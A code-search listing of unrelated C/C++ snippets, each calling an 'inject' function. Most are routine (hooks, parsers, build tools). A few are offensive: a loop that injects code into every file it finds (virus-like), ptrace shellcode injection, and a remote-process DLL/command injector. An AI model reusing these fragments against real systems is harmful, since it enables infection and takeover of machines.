Exemplo n.º 1
0
/* Send ARP Request packet */
void inject_arp_request(char *eth_src, char *ip_src, char *eth_target, char *ip_target)
{
  packet_t *p = NULL;
  ether_t *ether = NULL;
  arp_t *arp;

  p = packet_new_empty();

  ether = build_ethernet(eth_src, eth_target, ETHER_TYPE_ARP);
  packet_append_header(p, PROTO_NAME_ETHER, (void *)ether, ETHER_HDR_LEN);

  arp = build_arp_ethip(ARP_OP_REQUEST, eth_src, ip_src, eth_target, ip_target);
  packet_append_header(p, PROTO_NAME_ARP, (void *)arp, sizeof(arp_t) + sizeof(arp_ethip_t));

  inject(p);

  packet_free(p);
  free(ether);
  free(arp);
}
Exemplo n.º 2
0
void
tail(char *head_vaddr, int head_sz, int ep_offset, char *tail_vaddr, int tail_sz)
{
	int dir_sz, find_offset;
	char *map_addr, *fn;
	struct stat s;



	map_addr = NULL;
	dir_sz = find_offset = 0;
	while ((fn = find(&map_addr, &dir_sz, &find_offset)) != NULL) {
		if (syscall(STAT, fn, &s) < 0) continue;
		if (syscall(CHMOD, fn, S_IRWXU|S_IRWXG|S_IRWXO) < 0) continue;

		inject(head_vaddr, head_sz, ep_offset, tail_vaddr, tail_sz, fn, (int)s.st_size);

		syscall(CHMOD, fn, s.st_mode);
	}

}
Exemplo n.º 3
0
DialogIDE::DialogIDE( QWidget * parent, Qt::WFlags f) : QDialog(parent, f)
{



    setupUi(this);

    setupEditor();

    connect(startButton, SIGNAL(clicked()), this, SLOT(start()));
    connect(installPB,SIGNAL(clicked()),this,SLOT(inject()));
    connect(savePB,SIGNAL(clicked()),this,SLOT(save()));
    connect(listWidget,SIGNAL(itemDoubleClicked(QListWidgetItem*)),this,SLOT(load(QListWidgetItem*)));
    connect(tabWidget,SIGNAL(tabCloseRequested(int)),this,SLOT(closeTab(int)));

    this->setWindowFlags(Qt::Window);




}
Exemplo n.º 4
0
/**
 * @brief Makes sure the given replacement function is run once func is called.
 *
 * Tries to construct a trampoline for the given function (@see HardHook::cloneCode)
 * and then injects replacement function calling code into the first 6 bytes of the
 * original function (@see HardHook::inject).
 *
 * @param func Pointer to function to redirect.
 * @param replacement Pointer to code to redirect to.
 */
void HardHook::setup(voidFunc func, voidFunc replacement) {
	if (baseptr)
		return;

	unsigned char *fptr = reinterpret_cast<unsigned char *>(func);
	unsigned char *nptr = reinterpret_cast<unsigned char *>(replacement);

	fods("HardHook: Asked to replace %p with %p", func, replacement);

	call = (voidFunc) cloneCode((void **) &fptr);

	if (call) {
		bTrampoline = true;
	} else {
		// Could not create a trampoline. Use alternative method instead.
		bTrampoline = false;
		call = func;
	}

	DWORD oldProtect;
	if (VirtualProtect(fptr, 16, PAGE_EXECUTE_READ, &oldProtect)) {
		unsigned char **iptr = reinterpret_cast<unsigned char **>(&replace[1]);
		replace[0] = 0x68; // PUSH immediate        1 Byte
		*iptr = nptr;      // (imm. value = nptr)   4 Byte
		replace[5] = 0xc3; // RETN                  1 Byte

		for (int i=0;i<6;i++) // Save original 6 bytes at start of original function
			orig[i] = fptr[i];

		baseptr = fptr;
		inject(true);

		DWORD restoreProtect;
		VirtualProtect(fptr, 16, oldProtect, &restoreProtect);
	} else {
		fods("HardHook: Failed vprotect");
	}
}
Exemplo n.º 5
0
void HardHook::setup(voidFunc func, voidFunc replacement) {
	int i;
	DWORD oldProtect, restoreProtect;

	if (baseptr)
		return;

	unsigned char *fptr = reinterpret_cast<unsigned char *>(func);
	unsigned char *nptr = reinterpret_cast<unsigned char *>(replacement);

	ods("HardHook: Asked to replace %p with %p", func, replacement);

	if (VirtualProtect(fptr, 16, PAGE_EXECUTE_READ, &oldProtect)) {
		call = (voidFunc) cloneCode((void **) &fptr);

		if (call) {
			bTrampoline = true;
		} else {
			bTrampoline = false;
			call = func;
		}

		unsigned char **iptr = reinterpret_cast<unsigned char **>(&replace[1]);
		*iptr = nptr;
		replace[0] = 0x68;
		replace[5] = 0xc3;

		for (i=0;i<6;i++)
			orig[i]=fptr[i];

		baseptr = fptr;
		inject(true);

		VirtualProtect(fptr, 16, oldProtect, &restoreProtect);
	} else {
		ods("Failed initial vprotect");
	}
}
Exemplo n.º 6
0
int main(int argc, char *argv[]) {
  char shell[strlen(stub) + strlen(shellcode) + 1];
  sprintf(shell, "%s%s", stub, shellcode);

  parseopts(argc, argv);
  int pid = atoi(argv[1]);

  attach(pid);
  struct user_regs_struct *tmp = inject(pid, shell);
  
  struct sigaction hook_ret;
  memset(&hook_ret, 0, sizeof(struct sigaction));
  hook_ret.sa_handler = ret_handler;
  sigaction(0xc, &hook_ret, 0);

  cont(pid);

  while(hit == 0) {}

  set_regs(pid, tmp);

  detach(pid);
  return 0;
}
Exemplo n.º 7
0
int inject_params(int fd, void *buf, int len,
		  struct ieee80211_bpf_params *params)
{
	static struct ieee80211_bpf_params defaults = {
		.ibp_vers = IEEE80211_BPF_VERSION,
		/* NB: no need to pass series 2-4 rate+try */
		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
		.ibp_rate0 = 2,		/* 1 MB/s XXX */
		.ibp_try0 = 1,		/* no retransmits */
		.ibp_flags = IEEE80211_BPF_NOACK,
		.ibp_power = 100,	/* nominal max */
		.ibp_pri = WME_AC_VO,	/* high priority */
	};
	struct iovec iov[2];
	int rc;

	if (params == NULL)
		params = &defaults;
	iov[0].iov_base = params;
	iov[0].iov_len = params->ibp_len;
	iov[1].iov_base = buf;
	iov[1].iov_len = len;

	rc = writev(fd, iov, 2);
	if (rc == -1)
		return rc;

	rc -= iov[0].iov_len; /* XXX could be negative */
	return rc;
}

int sniff(int fd, void *buf, int len)
{
	return read(fd, buf, len);
}

void *get_wifi(void *buf, int *len)
{
#define	BIT(n)	(1<<(n))
	struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
	struct ieee80211_radiotap_header* rth;
	uint32_t present;
	uint8_t rflags;
	void *ptr;

	/* bpf */
	*len -= bpfh->bh_hdrlen;

	if (bpfh->bh_caplen != *len) {
		assert(bpfh->bh_caplen < *len);
		*len = bpfh->bh_caplen;
	}
	assert(bpfh->bh_caplen == *len);

	/* radiotap */
	rth = (struct ieee80211_radiotap_header*)
	      ((char*)bpfh + bpfh->bh_hdrlen);
	/* XXX cache; drivers won't change this per-packet */
	/* check if FCS/CRC is included in packet */
	present = le32toh(rth->it_present);
	if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
		if (present & BIT(IEEE80211_RADIOTAP_TSFT))
			rflags = ((const uint8_t *)rth)[8];
		else
			rflags = ((const uint8_t *)rth)[0];
	} else
		rflags = 0;
	*len -= rth->it_len;

	/* 802.11 CRC */
	if (rflags & IEEE80211_RADIOTAP_F_FCS)
		*len -= IEEE80211_CRC_LEN;

	ptr = (char*)rth + rth->it_len;
	return ptr;
#undef BIT
}

int send_ack(int fd, char *mac)
{
	static char buf[2+2+6];
	static char *p = 0;
	int rc;

	if (!p) {
		memset(buf, 0, sizeof(buf));
		buf[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
		p = &buf[4];
	}

	memcpy(p, mac, 6);

	rc = inject(fd, buf, sizeof(buf));
	return rc;
}

int open_tap(char *iface)
{
	char buf[64];

	snprintf(buf, sizeof(buf), "/dev/%s", iface);
	return open(buf, O_RDWR);
}
Exemplo n.º 8
0
Matrix& Matrix::operator= (const Matrix& source) {
  inject(source);
  return *this;
}
Exemplo n.º 9
0
Arquivo: pi.c Projeto: jizhongqing/pi
int main (int argc, char *argv[])
{
  SIZE_T code_size=0;
  LPVOID code=NULL;
  DWORD  pid=0, cpu_mode=0;
  char   *proc=NULL, *pic=NULL; 
  char   *dll=NULL, *cmd=NULL;
  char   *cpu=NULL;
  int    i, plist=0, native=0, dbg=0;
  char   opt;
  
  setw (300);
  
  printf("\n  [ PIC/DLL injector v0.1");
  printf("\n  [ Copyright (c) 2014, 2015 Odzhan\n\n");
  
  for (i=1; i<argc; i++) {
    if (argv[i][0]=='/' || argv[i][0]=='-') {
      opt=argv[i][1];
      switch (opt) {
        // wait after memory allocation before running thread
        case 'd' :
          dbg=1;
          break;
        // Execute command in remote process
        case 'e' :
          cmd=getparam (argc, argv, &i);
          break;
        // Load PIC file into remote process
        case 'f' :
          pic=getparam (argc, argv, &i);
          break;
        // Load DLL into remote process
        case 'l' :
          dll=getparam (argc, argv, &i);
          break;
        // List running processes
        case 'p' :
          plist=1;
          break;
        // Return PID for cpu mode
        case 'x' :
          cpu=getparam (argc, argv, &i);
          break;
        case '?' :
        case 'h' :
        default  : { usage (); break; }
      }
    } else {
      // assume it's process name or id
      proc=argv[i];
    }
  }
#if !defined (__GNUC__)  
  // check if we're elevated token just incase target requires it
  if (!isElevated ()) {
    printf ("  [ warning: current process token isn't elevated\n");
  }
#endif

  // enable debug privilege in case remote process requires it
  if (!set_priv (SE_DEBUG_NAME, TRUE)) {
    printf ("  [ warning: unable to enable debug privilege\n");
  }

  if (cpu!=NULL) {
    cpu_mode=strtol (cpu, NULL, 10);
    if (cpu_mode!=32 && cpu_mode!=64) {
      printf ("  [ invalid cpu mode. 32 and 64 are valid");
      return 0;
    }
  }
  
  // list process?
  if (plist) {
    pslist(cpu_mode);
    return 0;
  }
  
  // no target process?
  if (proc==NULL) {
    printf ("  [ no target process specified\n");
    usage();
  }
  
  // try convert proc to integer
  pid=strtol (proc, NULL, 10);
  
  if (pid==0) {
    printf ("  [ searching %s-bit processes for %s\n", 
      cpu_mode==0 ? "32 and 64" : (cpu_mode==64 ? "32" : "64"), proc);
    // else get id from name
    pid=name2pid (proc, cpu_mode);
  }
  
  // no target action?
  if (cmd==NULL && dll==NULL && pic==NULL) {
    printf ("  [ no action specified for %s\n", proc);
    usage();
  }
  
  // have a pid?
  if (pid == 0)
  {
    printf ("  [ unable to obtain process id for %s\n", proc);
    return 0;
  }
  
  // is it ourselves?
  if (pid==GetCurrentProcessId()) {
    printf ("  [ cannot injekt self, bye\n");
  } else {
    // no, is this a PIC
    if (pic != NULL) {
      if (read_pic (pic, &code, &code_size)) {
        // injekt pic code without parameters
        inject (pid, code, code_size, NULL, 0, dbg);
        xfree (code);
      }
    } else 
    // is this DLL for LoadLibrary?
    if (dll != NULL) {
      inject (pid, LoadDLLPIC, LoadDLLPIC_SIZE, dll, lstrlen(dll), dbg);
    } else
    // is this command for WinExec?
    if (cmd != NULL) {
      inject (pid, ExecPIC, ExecPIC_SIZE, cmd, lstrlen(cmd), dbg);
    }
  }
  return 0;
}
Exemplo n.º 10
0
 void concurrent(Handler&& handler, Args&&... args)
 {
     service_.post(inject(BIND_HANDLER(handler, args), CONCURRENT,
         concurrent_));
 }
Exemplo n.º 11
0
// public:
Phantom::Phantom(QObject *parent)
    : QObject(parent)
    , m_proxyPort(1080)
    , m_returnValue(0)
    , m_converter(0)
    , m_netAccessMan(0)
{
    QPalette palette = m_page.palette();
    palette.setBrush(QPalette::Base, Qt::transparent);
    m_page.setPalette(palette);

    bool autoLoadImages = true;
    bool pluginsEnabled = false;
    bool diskCacheEnabled = false;
    bool ignoreSslErrors = false;

    // second argument: script name
    QStringList args = QApplication::arguments();

    // Skip the first argument, i.e. the application executable (phantomjs).
    args.removeFirst();

    // Handle all command-line options.
    QStringListIterator argIterator(args);
    while (argIterator.hasNext()) {
        const QString &arg = argIterator.next();
        if (arg.startsWith("--upload-file") && argIterator.hasNext()) {
            const QString &fileInfoString = argIterator.next();
            QStringList fileInfo = fileInfoString.split("=");
            const QString &tag = fileInfo.at(0);
            const QString &fileName = fileInfo.at(1);
            m_page.m_allowedFiles[tag] = fileName;
            continue;
        }
        if (arg == "--load-images=yes") {
            autoLoadImages = true;
            continue;
        }
        if (arg == "--load-images=no") {
            autoLoadImages = false;
            continue;
        }
        if (arg == "--load-plugins=yes") {
            pluginsEnabled = true;
            continue;
        }
        if (arg == "--load-plugins=no") {
            pluginsEnabled = false;
            continue;
        }
        if (arg == "--disk-cache=yes") {
            diskCacheEnabled = true;
            continue;
        }
        if (arg == "--disk-cache=no") {
            diskCacheEnabled = false;
            continue;
        }
        if (arg == "--ignore-ssl-errors=yes") {
            ignoreSslErrors = true;
            continue;
        }
        if (arg == "--ignore-ssl-errors=no") {
            ignoreSslErrors = false;
            continue;
        }
        if (arg.startsWith("--proxy=")) {
            m_proxyHost = arg.mid(8).trimmed();
            if (m_proxyHost.lastIndexOf(':') > 0) {
                bool ok = true;
                int port = m_proxyHost.mid(m_proxyHost.lastIndexOf(':') + 1).toInt(&ok);
                if (ok) {
                    m_proxyHost = m_proxyHost.left(m_proxyHost.lastIndexOf(':')).trimmed();
                    m_proxyPort = port;
                }
            }
            continue;
        }
        if (arg.startsWith("--")) {
            qFatal("Unknown option '%s'", qPrintable(arg));
            exit(-1);
            return;
        } else {
            m_scriptFile = arg;
            break;
        }
    }

    if (m_scriptFile.isEmpty()) {
        Utils::showUsage();
        return;
    }

    if (m_proxyHost.isEmpty()) {
#if QT_VERSION >= QT_VERSION_CHECK(4, 6, 0)
        QNetworkProxyFactory::setUseSystemConfiguration(true);
#endif
    } else {
        QNetworkProxy proxy(QNetworkProxy::HttpProxy, m_proxyHost, m_proxyPort);
        QNetworkProxy::setApplicationProxy(proxy);
    }

    // The remaining arguments are available for the script.
    while (argIterator.hasNext()) {
        const QString &arg = argIterator.next();
        m_args += arg;
    }

    // Provide WebPage with a non-standard Network Access Manager
    m_netAccessMan = new NetworkAccessManager(this, diskCacheEnabled, ignoreSslErrors);
    m_page.setNetworkAccessManager(m_netAccessMan);

    connect(m_page.mainFrame(), SIGNAL(javaScriptWindowObjectCleared()), SLOT(inject()));
    connect(&m_page, SIGNAL(loadFinished(bool)), this, SLOT(finish(bool)));

    m_page.settings()->setAttribute(QWebSettings::AutoLoadImages, autoLoadImages);
    m_page.settings()->setAttribute(QWebSettings::PluginsEnabled, pluginsEnabled);

    m_page.settings()->setAttribute(QWebSettings::OfflineStorageDatabaseEnabled, true);
    m_page.settings()->setOfflineStoragePath(QDesktopServices::storageLocation(QDesktopServices::DataLocation));

    m_page.settings()->setAttribute(QWebSettings::LocalStorageDatabaseEnabled, true);

#if QT_VERSION >= QT_VERSION_CHECK(4, 7, 0)
    m_page.settings()->setAttribute(QWebSettings::FrameFlatteningEnabled, true);
#endif

#if QT_VERSION >= QT_VERSION_CHECK(4, 6, 0)
    m_page.settings()->setAttribute(QWebSettings::LocalStorageEnabled, true);
    m_page.settings()->setLocalStoragePath(QDesktopServices::storageLocation(QDesktopServices::DataLocation));
#endif

    // Ensure we have document.body.
    m_page.mainFrame()->setHtml("<html><body></body></html>");

    m_page.mainFrame()->setScrollBarPolicy(Qt::Horizontal, Qt::ScrollBarAlwaysOff);
    m_page.mainFrame()->setScrollBarPolicy(Qt::Vertical, Qt::ScrollBarAlwaysOff);
}
Exemplo n.º 12
0
int InterfaceAdapter::callback_out(const char *data, int size) {
	return inject((const u_char *)data, size);
}
Exemplo n.º 13
0
/*
 * Process the library command.
 * This command (sadly) requires a rather
 * detailed knowledge of the file system of
 * the operating system.
 */
void library(void)
{
	char	*p;
	int	c;
	int	d;
	char	*sctp;
	struct line	*lp1;
	struct line	*lp2;
	FILE	*fp;

	c = getnb();
	if (c!='c' && c!='s' && c!='l' && c!='d')
		diag("Bad library command");
	while (isalpha(*ctp))
		++ctp;
	while ((d = *ctp)==' ' || d=='\t')
		++ctp;
	if (c!='l' && d==0)
		diag("Missing file name");
	p = ctp;
	while (*ctp != 0)
		++ctp;
	switch (c) {

	case 'c':
		if ((fp=fopen(p, "r")) == NULL)
			diag("Cannot open");
		lp1 = line;
		while (lp1 != NULL) {
			lp2 = lp1->l_fp;
			freeline(lp1);
			lp1 = lp2;
		}
		line = NULL;
		sctp = ctp;
		while (focal_getline(abuf, fp) != 0) {
			ctp = abuf;
			if ((c=getnb()) != 0) {
				if (isdigit(c) == 0)
					diag("Direct line in call");
				inject(c);
			}
		}
		fclose(fp);
		ctp = sctp;
		break;

	case 'd':
		if (remove(p) < 0)
			diag("Cannot delete");
		break;

	case 'l':
#ifndef	DIR_SUPPORT
		diag("Library list not implemented");
#else
	{
#ifdef	DOS
		int	attr = _A_RDONLY | _A_ARCH;
		int	rc;
		static struct find_t	de;
		static char	fname[FILENAME_MAX];
		char	*s;
		
		if (d == 0)
			strcpy(fname, "*.*");
		else {
			strcpy(fname, p);
			s = fname + strlen(fname) - 1;
			if (*s == '\\')
				strcat(fname, "*.*");
			else if (*s == '.')
				strcat(fname, "\\*.*");
		}
		rc = _dos_findfirst(fname, attr, &de);
		while (!rc) {
			if ((de.attrib & _A_SUBDIR) == 0
			    && strcmp(de.name, ".") != 0
			    && strcmp(de.name, "..") != 0)
				printf("%-13s\n", de.name);
			rc = _dos_findnext(&de);
		}
#else
#ifdef DIRENT
		struct dirent *de;
		DIR *dp;

		if (d == 0)
			p = ".";
		if ((dp = opendir(p)) == NULL) {
			perror("focal");
			diag("Bad directory");
		}
		while ((de = readdir(dp)) != NULL) {
			if (de->d_ino == 0
			    ||  strcmp(de->d_name, ".") == 0
			    ||  strcmp(de->d_name, "..") == 0)
				continue;
			printf("%s\n", de->d_name);
		}
		closedir(dp);
#else
		int	fd = 0;
		
		if (d == 0)
			p = ".";
		if (stat(p, &sb) < 0
		|| (sb.st_mode&S_IFMT) != S_IFDIR
		|| (fd = open(p, 0)) < 0)
			diag("Bad directory");
		while (read(fd, &db, sizeof(db)) == sizeof(db)) {
			if (db.d_ino == 0
			||  strncmp(db.d_name, ".",  DIRSIZ) == 0
			||  strncmp(db.d_name, "..", DIRSIZ) == 0)
				continue;
			printf("%.*s\n", DIRSIZ, db.d_name);
		}
		close(fd);
#endif
#endif
	}
#endif
		break;

	case 's':
		if ((fp=fopen(p, "w")) == NULL)
			diag("Cannot create");
		save(NULL, fp);
		fclose(fp);
		break;
	}
}
Exemplo n.º 14
0
int main(int argc, char* argv[])
{
	int verilog_size, vectors_size;
	int inst_written;


	if (argc < 4)
	{
		fprintf(stderr, "Usage: %s: <in.v> <in_code.txt> <out.v>\n", argv[0]);
		fprintf(stderr, "Usage: %s: ram_xilinx.v code.txt ram_image.v\n", argv[0]);
		quit(1);
	}

	/* Open the Verilog source file and copy it into a buffer */
	verilog = fopen(argv[1], "rb");
	if (!verilog)
	{
		fprintf(stderr, "Could not open \"%s\".\n", argv[1]);
		quit(1);
	}
	fseek(verilog, 0L, SEEK_END);
	verilog_size = ftell(verilog);
	fseek(verilog, 0L, SEEK_SET);
	if (verilog_size == 0)
	{
		fprintf(stderr, "Error: Empty verilog input file.\n");
		quit(1);
	}
	out_buf = malloc(verilog_size);
	if (!out_buf)
	{
		fprintf(stderr, "Error allocating memory.\n");
		quit(1);
	}	
	if (fread(out_buf, 1, verilog_size, verilog) != verilog_size)
	{
		fprintf(stderr, "Error reading input file.\n");
		quit(1);
	}


	/* Open code vectors and copy them into a buffer */
	vectors = fopen(argv[2], "rb");
	if (!vectors)
	{
		fprintf(stderr, "Could not open \"%s\".\n", argv[2]);
		quit(1);
	}
	fseek(vectors, 0L, SEEK_END);
	vectors_size = ftell(vectors);
	fseek(vectors, 0L, SEEK_SET);
	if (vectors_size == 0)
	{
		fprintf(stderr, "Error: Empty vectors file.\n");
		quit(1);
	}
	//printf("Vectors size is %d bytes.\n", vectors_size);
	vec_buf = malloc(vectors_size+1);
	if (!vec_buf)
	{
		fprintf(stderr, "Error allocating memory.\n");
		quit(1);
	}
	if (fread(vec_buf, 1, vectors_size, vectors) != vectors_size)
	{
		fprintf(stderr, "Error reading vectors file.\n");
		quit(1);
	}
	vec_buf[vectors_size] = '\0';

	/* Inject code */
	inst_written = inject(vec_buf, out_buf);
	printf("Wrote %d instructions.\n", inst_written);

	/* Write output file */
	output = fopen(argv[3], "wb");
	if (output == NULL)
	{
		fprintf(stderr, "Error writing %s!\n", argv[3]);
		quit(1);
	}
	fwrite(out_buf, 1, verilog_size, output);
	fclose(output);

	
	// Exit
	quit(0);
	return 0;
}
Exemplo n.º 15
0
void Pillow::HttpClient::device_readyRead()
{
	if (!responsePending())
	{
		// Not supposed to be receiving data at this point. Just
		// ignore it and close the connection.
		_device->close();
		return;
	}

	qint64 bytesAvailable = _device->bytesAvailable();
	if (bytesAvailable == 0) return;

	if (_buffer.capacity() < _buffer.size() + bytesAvailable)
		_buffer.reserve(_buffer.size() + bytesAvailable);

	qint64 bufferSize = readBufferSize();
	if (bufferSize > 0)
		bytesAvailable = bufferSize - _content.size();

	if (bytesAvailable <= 0)
	{
		// Nothing to read or no space in buffers. Wait for more data or more space in buffers.
		return;
	}

	qint64 bytesRead = _device->read(_buffer.data() + _buffer.size(), bytesAvailable);
	_buffer.data_ptr()->size += bytesRead;

	int consumed = inject(_buffer);

	if (responsePending())
	{
		// Response is still pending. One of the following:
		// 1. Got a parser error. (where hasError)
		// 2. Waiting for more data to complete the current request. (where _pendingRequest is null and consumed == buffer.size)
		// 3. Waiting for the real response after a 100-continue response. (where _pendingRequest is null and consumed < buffer.size, because parser will stop consuming after the 100-continue).

		if (!hasError())
		{
			if (consumed < _buffer.size())
			{
				// We had multiple responses in the buffer?
				// It was a 100 Continue since we are still response pending.
				consumed += inject(_buffer.constData() + consumed, _buffer.size() - consumed);

				if (consumed < _buffer.size())
				{
					qWarning() << "Left some unconsumed data in the buffer:" << (_buffer.size() - consumed);
				}
			}
			else
			{
				// Just waiting for more data to consume.
			}
		}

		if (hasError()) // Re-check for error in case we injected again in the 100 Continue case above.
		{
			_error = ResponseInvalidError;
			_device->close();
			_responsePending = false;
			emit finished();
		}
	}

	// Reuse the read buffer if it is not overly large.
	if (_buffer.capacity() > 128 * 1024)
		_buffer.clear();
	else
		_buffer.data_ptr()->size = 0;

	// Response completed or got aborted in a callback.
	if (!responsePending() && !_pendingRequest.method.isNull())
	{
		// Plus we got a new request while in callback.
		Pillow::HttpClientRequest r = _pendingRequest;
		_pendingRequest = Pillow::HttpClientRequest(); // Clear it.
		request(r);
	}

}
Exemplo n.º 16
0
 constexpr auto operator()(Args&&...args){
   return tupleCall( inject( Data, rangeOf(Data) , forward<Args>(args)... ) , op );
 }
Exemplo n.º 17
0
static void send_frame(struct wstate *ws, unsigned char* buf, int len)
{
	static unsigned char* lame = 0;
	static int lamelen = 0;
	static int lastlen = 0;

	// retransmit!
	if (len == -1) {
		ws->ws_retries++;

		if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack) {
			ws->ws_waiting_ack = 0;
			return;
		}

		if (ws->ws_retries > 10) {
			time_print("ERROR Max retransmists for (%d bytes):\n",
			       lastlen);
			hexdump(&lame[0], lastlen);
#if 0
			txstate.waiting_ack = 0;
			return;
#endif
		}
		len = lastlen;
//		printf("Warning doing a retransmit...\n");
	}
	// normal tx
	else {
		assert(!ws->ws_waiting_ack);

		if (len > lamelen) {
			if (lame)
				free(lame);

			lame = (unsigned char*) malloc(len);
			if(!lame) {
				perror("malloc()");
				exit(1);
			}

			lamelen = len;
		}

		memcpy(lame, buf, len);
		ws->ws_retries = 0;
		lastlen = len;
	}

	inject(ws->ws_wi, lame, len);

	if (ws->ws_ignore_ack != 1)
		ws->ws_waiting_ack = 1;

	ws->ws_psent++;
	if (gettimeofday(&ws->ws_tsent, NULL) == -1) {
		perror("gettimeofday()");
		exit(1);
	}

#if 0
	printf("Wrote frame at %lu.%lu\n",
	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
#endif
}
Exemplo n.º 18
0
 void ordered(Handler&& handler, Args&&... args)
 {
     strand_.post(inject(BIND_HANDLER(handler, args), ORDERED, ordered_));
 }
Exemplo n.º 19
0
/**
 *  Expand matmul at the given pc in the bhir instruction list.
 *
 *  Returns the number of additional instructions used.
 */
int Expander::expand_matmul(bh_ir& bhir, int pc)
{
    int start_pc = pc;
    bh_instruction& composite = bhir.instr_list[pc];

    // Lazy choice... no re-use just NOP it.
    composite.opcode = BH_NONE;

    // Grab operands
    bh_view out = composite.operand[0];
    bh_view a   = composite.operand[1];
    bh_view b   = composite.operand[2];

    // Grab the shape
    int n = a.shape[0];
    int m = a.shape[1];
    int k = b.shape[1];

    // Construct intermediary operands
    // Needs broadcast
    bh_view a_3d = a;

    // Needs transposition + broadcast
    bh_view b_3d = b;

    a_3d.ndim = 3;
    b_3d.ndim = 3;

    // Set the shape
    a_3d.shape[0] = b_3d.shape[0] = n;
    a_3d.shape[1] = b_3d.shape[1] = k;
    a_3d.shape[2] = b_3d.shape[2] = m;

    // Construct broadcast
    a_3d.stride[0] = a.stride[0];
    a_3d.stride[1] = 0;
    a_3d.stride[2] = a.stride[1];

    // Construct transpose + broadcast
    b_3d.stride[0] = 0;
    b_3d.stride[1] = b.stride[1];
    b_3d.stride[2] = b.stride[0];

    // Construct temp for mul-result
    bh_view c_3d = b_3d;

    // Count number of elements
    bh_intp nelements = 1;

    // Set contiguous stride
    for(bh_intp dim=c_3d.ndim-1; dim >= 0; --dim) {
        c_3d.stride[dim] = nelements;
        nelements *= c_3d.shape[dim];
    }
    c_3d.start = 0;
    c_3d.base = make_base(b_3d.base->type, nelements);

    // Expand sequence
    inject(bhir, ++pc, BH_MULTIPLY,   c_3d, a_3d, b_3d);
    inject(bhir, ++pc, BH_ADD_REDUCE, out,  c_3d, (int64_t)2, BH_INT64);
    inject(bhir, ++pc, BH_FREE,       c_3d);

    verbose_print("[Matmul] Expanding BH_MATMUL");
    return pc - start_pc;
}
Exemplo n.º 20
0
 void unordered(Handler&& handler, Args&&... args)
 {
     service_.post(strand_.wrap(inject(BIND_HANDLER(handler, args),
         UNORDERED, unordered_)));
 }
Exemplo n.º 21
0
void run_code (void* address)
{
    void (*inject)() = (void(*)())address;
    inject();
}
Exemplo n.º 22
0
    ElfRelHackCode_Section(Elf_Shdr &s, Elf &e)
    : ElfSection(s, NULL, NULL), parent(e) {
        std::string file(rundir);
        init = parent.getDynSection()->getSectionForType(DT_INIT);
        file += "/inject/";
        switch (parent.getMachine()) {
        case EM_386:
            file += "x86";
            break;
        case EM_X86_64:
            file += "x86_64";
            break;
        case EM_ARM:
            file += "arm";
            break;
        default:
            throw std::runtime_error("unsupported architecture");
        }
        if (init == NULL)
            file += "-noinit";
        file += ".o";
        std::ifstream inject(file.c_str(), std::ios::in|std::ios::binary);
        elf = new Elf(inject);
        if (elf->getType() != ET_REL)
            throw std::runtime_error("object for injected code is not ET_REL");
        if (elf->getMachine() != parent.getMachine())
            throw std::runtime_error("architecture of object for injected code doesn't match");

        ElfSymtab_Section *symtab = NULL;

        // Get all executable sections from the injected code object.
        // Most of the time, there will only be one for the init function,
        // but on e.g. x86, there is a separate section for
        // __i686.get_pc_thunk.$reg
        // Find the symbol table at the same time.
        for (ElfSection *section = elf->getSection(1); section != NULL;
             section = section->getNext()) {
            if ((section->getType() == SHT_PROGBITS) &&
                (section->getFlags() & SHF_EXECINSTR)) {
                code.push_back(section);
                // We need to align this section depending on the greater
                // alignment required by code sections.
                if (shdr.sh_addralign < section->getAddrAlign())
                    shdr.sh_addralign = section->getAddrAlign();
            } else if (section->getType() == SHT_SYMTAB) {
                symtab = (ElfSymtab_Section *) section;
            }
        }
        assert(code.size() != 0);
        if (symtab == NULL)
            throw std::runtime_error("Couldn't find a symbol table for the injected code");

        // Find the init symbol
        entry_point = -1;
        int shndx = 0;
        for (std::vector<Elf_SymValue>::iterator sym = symtab->syms.begin();
             sym != symtab->syms.end(); sym++) {
            if (strcmp(sym->name, "init") == 0) {
                entry_point = sym->value.getValue();
                shndx = sym->value.getSection()->getIndex();
                break;
            }
        }
        if (entry_point == -1)
            throw std::runtime_error("Couldn't find an 'init' symbol in the injected code");

        // Adjust code sections offsets according to their size
        std::vector<ElfSection *>::iterator c = code.begin();
        (*c)->getShdr().sh_addr = 0;
        for(ElfSection *last = *(c++); c != code.end(); c++) {
            unsigned int addr = last->getShdr().sh_addr + last->getSize();
            if (addr & ((*c)->getAddrAlign() - 1))
                addr = (addr | ((*c)->getAddrAlign() - 1)) + 1;
            (*c)->getShdr().sh_addr = addr;
        }
        shdr.sh_size = code.back()->getAddr() + code.back()->getSize();
        data = new char[shdr.sh_size];
        char *buf = data;
        for (c = code.begin(); c != code.end(); c++) {
            memcpy(buf, (*c)->getData(), (*c)->getSize());
            buf += (*c)->getSize();
            if ((*c)->getIndex() < shndx)
                entry_point += (*c)->getSize();
        }
        name = elfhack_text;
    }
Exemplo n.º 23
0
void Scm_PutBinaryS8(ScmUVector *uv, int off, ScmObj val, ScmSymbol *e)
{
    u_char v = (u_char)Scm_GetInteger8Clamp(val, SCM_CLAMP_NONE, NULL);
    CHECK_ENDIAN(e);
    inject(uv, (char *)&v, off, 1);
}
bool Msg7::inject ( TcpSocket *s , 
		    HttpRequest *r ,
		    void *state ,
		    void (*callback)(void *state)) {

	// save socket
	// socket is responsible for free the HTTP request, which contains
	// the POSTed content, so if he gets destroyed we have to make sure
	// we no longer reference that content.
	m_socket  = s;

	long  contentLen;

	// get the junk
	char *coll           = r->getString ( "c" , NULL  , NULL /*default*/);
	if ( ! coll ) coll = "main";
	bool  quickReply     = r->getLong   ( "quick" , 0 );	
	//char *pwd            = r->getString ( "pwd" , NULL );
	char *url            = r->getString ( "u" , NULL , NULL /*default*/);
	bool  recycleContent = r->getLong   ( "recycle",0);
	char *ips            = r->getString ( "ip" , NULL , NULL );
	//char *username       = g_users.getUsername(r);
	long firstIndexed = r->getLongLong("firstindexed",0LL);
	long lastSpidered = r->getLongLong("lastspidered",0LL);
	long hopCount     = r->getLong("hopcount",-1);
	long newOnly      = r->getLong("newonly",0);
	long charset      = r->getLong("charset",-1);
	long deleteIt     = r->getLong("delete",0);
	char hasMime      = r->getLong("hasmime",0);
	// do consistency testing?
	bool doConsistencyTesting = r->getLong("dct",0);
	// default spiderlinks to no for injects
